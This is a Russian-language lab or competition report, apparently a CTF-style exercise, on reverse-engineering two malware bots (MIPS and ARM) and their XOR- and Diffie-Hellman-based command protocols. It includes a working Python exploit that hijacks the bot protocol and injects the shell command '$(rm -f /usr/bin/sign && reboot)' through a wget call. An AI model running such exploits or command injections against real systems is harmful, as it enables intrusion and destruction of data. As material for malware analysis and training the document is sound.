Cygnus

27 февраля 2020 г.

Отчётная работа по инженерному заданию

ИССЛЕДОВАНИЕ СЕТЕВОЙ ИНФРАСТРУКТУРЫ

Просмотрим все интерфейсы с помощью команды `ip a`

Далее изучим трафик в интерфейсе `ens224`

С помощью команды `tcpdump -i ens224`, изучим трафик и заметим 3 ip-шника, которые обращаются к нашей машине, но также к этим 3 ip обращается другая тачка, это сервер управления.

Найденные атакующие агенты:

10.0.6.12 порты взаимодействия различные, не статические

10.0.6.13 порт взаимодействия *8888*

10.0.6.14 порты взаимодействия различные, не статические

Сервер управления:

192.168.1.2 порты взаимодействия различные, не статические

REVERSE 1 (MIPS)

Общение между Command & Control "сервером" и зараженным происходит через самописный пакетный протокол, шифрованный через xor.

1. **Общее пакетов.**

Пакеты посылает Command & Control сервер. В большинстве пакете первые два байта id обозначают команду, после этого идут ее аргументы, если они присутствуют. В большинстве случаев, выполнив команду, зараженная система пересылает полученный пакет, с первыми тремя байтами замененными на си-строку её названия или *"ER\0"* в случае неверной команды, зашифрованную действующим ключом. Исключением является первый первый пакет, в котором байты указывающее на ее тип 5-ый и 6-ый, и они не перезаписываются, кроме того он должен быть послан ровно один раз в начале обмена пакетами, и пакет UN, который не пересылается.

2. **Шифрование**

Для шифрования используется простой xor с зацикленным 16-байтовым массивом. Первоначально программа использует встроенный ключ (**"\x03\"\xa7\x14\xbe\xc4\x10-\xf17\xc7\x1ehI#g\x00\x00\x00\x10"**), но после первого пакета генерирует на основе текущего времени новый и 7-ого-(7+8)-ого байт (*packet[8 : 8 + 6] + randombytes(8)*), поэтому в первом

пакете должно быть минимум 14 байт, что проверяется ПО. В начале генерации рандомным байт, запускается *srand* от количества секунд, а каждый случайный байт генерируется, как *rand() % 256*. Поскольку вредоносное посылает Command & Control серверу зашифрованный новым ключом первый пакет, а сервер его знает, он может вычислить ключ.

3. **Типы пакетов**

Название	ID	Аргументы	Функция
OK	"\xce\xfa"	None	зараженная система отвечает "OK\0"
HT	"\x01\xad"	Байт, строка	зараженная система выполняет system("wget --no-check-certificate -q -O /tmp/null " + Строка) ~Байт секунд, можно произвести bash-инъекцию.
IP	"\xdd\x0c	Байт1, Инт2, Строка	Строка зараженная система подключается по tcp к Строка:Байт2, ждет 1 сек. и отключается в течении ~ Байт1 сек.
UN	"\xde\xad"	None	зараженная система подключается к встроенному адресу (192.168.1.2:5555), посылает встроенную в нее строку "" и отключается, по выключается.
GN	"\x55\xfa"	None	зараженная система генерирует и посылает случайный пакет случайного размере от 0 до 256, тем же алгоритмом, что

			и ключ.

4. **Sploit**

```
import socket
import itertools
import sys
if len(sys.argv) != 3:
    print("usage: %s <ip> <addr>" % sys.argv[0])
#name           code            args                    function
COMMAND_OK =    b"\xce\xfa"     #None                   зараженная система отвечает "OK\0"
COMMAND_HT =    b"\x01\xad"     #Байт, Строка           зараженная система выполняет system("wget --no-check-certificat
COMMAND_IP =    b"\xdd\x0c"     #Байт1, Байт2, Строка   зараженная система подключается по tcp к Строка:Байт2, ждет 1 с
COMMAND_UN =    b"\xde\xad"     #None                   зараженная система подключается к встроенному адресу (192.168.1
COMMAND_GN =    b"\x55\xfa"     #None                   зараженная система генерирует новый ключ и пересылает НЕИЗМЕННЫ

CMD = b"$(rm -f /usr/bin/sign && reboot)"
assert(len(CMD) < 80)
addr = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket()
s.connect((addr, port))

original_key = b"\x03\"\xa7\x14\xbe\xc4\x10-\xf17\xc7\x1ehI#g\x00\x00\x00\x10"

first_packet = b"~*" * 20
s.send(bytes(i ^ j for i, j in zip(first_packet, itertools.cycle(original_key))))

enced = s.recv(len(first_packet))
print(enced)
if len(enced) == 8:
    new_key = bytes([i ^ j for i, j in zip(first_packet[6 : 6 + 8], enced)])
    new_key = first_packet[6: 6 + 8] + new_key#because of symmetry order of ints doesnt matter
else:
    raise ValueError("Improrer responce for walware instance.")

msg = COMMAND_HT + b'\x01' + CMD
s.send(bytes(i ^ j for i, j in zip(msg, itertools.cycle(new_key))))
# Do not expect responce from the client, as it will reboot.
```

REVERSE 2 (ARM)

1. **Принцип работы**

Данное вредоносное ПО прослушивает порт 9999, однако в процессе работы

она использует разные порты.

При установке соединения начинается обмен ключами по протоколу Диффи-Хеллмана.

Атакующий и программа генерируют секретные числа a и b.

Затем атакующий отправляет четырехбайтное число B = g^b mod p

В ответ ему ПО отправляет свое число A = g^a mod p

B^a mod p = A^b mod p = g^(ab) mod p = K

Таким образом обе стороны получают секретный ключ.

p и g являются постоянными и зафиксированы в софте.

(подробнее см. https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%94%D0%B8%D1%84%D1%84%D0%B8_%E2%80%94_%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0)

Следующим этапом Атакующий отправляет некие данные.

Они используются для вычисления нового порта.

Он рассчитывается port = *calculated(XOR(input))*

алгоритм xor производится с использованием константы K

input - полученные данные

a calculated представляет собой определенную формулу

```
int calculate(int param_1) {
 return (param_1 * 0x20202020 + 0x12345678U & 20000) + 10000 + (param_1
% 0x14) * 2;
}
```

Далее программа начинает работать циклически:

```
 port = calculate(port)
 cmd(XOR(input))
```

Название	ID	Аргументы	Функция
OK	"\xce\xfa"	None	зараженная система отвечает "OK\0"
HT	"\x01\xad"	Байт, строка	зараженная система выполняет system("wget --no-check-certificate -q -O /tmp/null " + Строка) ~Байт секунд, можно произвести bash-инъекцию.
IP	"\xdd\x0c	Байт1, Инт2, Строка	Строка зараженная система подключается по tcp к Строка:Байт2, ждет 1 сек. и отключается в течении ~ Байт1 сек.
UN	"\xde\xad"	None	зараженная система подключается к встроенному адресу (192.168.1.2:5555), посылает встроенную в нее строку "" и отключается, по выключается.

GN	"\x55\xfa"	None	зараженная система генерирует и посылает случайный пакет случайного размере от 0 до 256, тем же алгоритмом, что и ключ.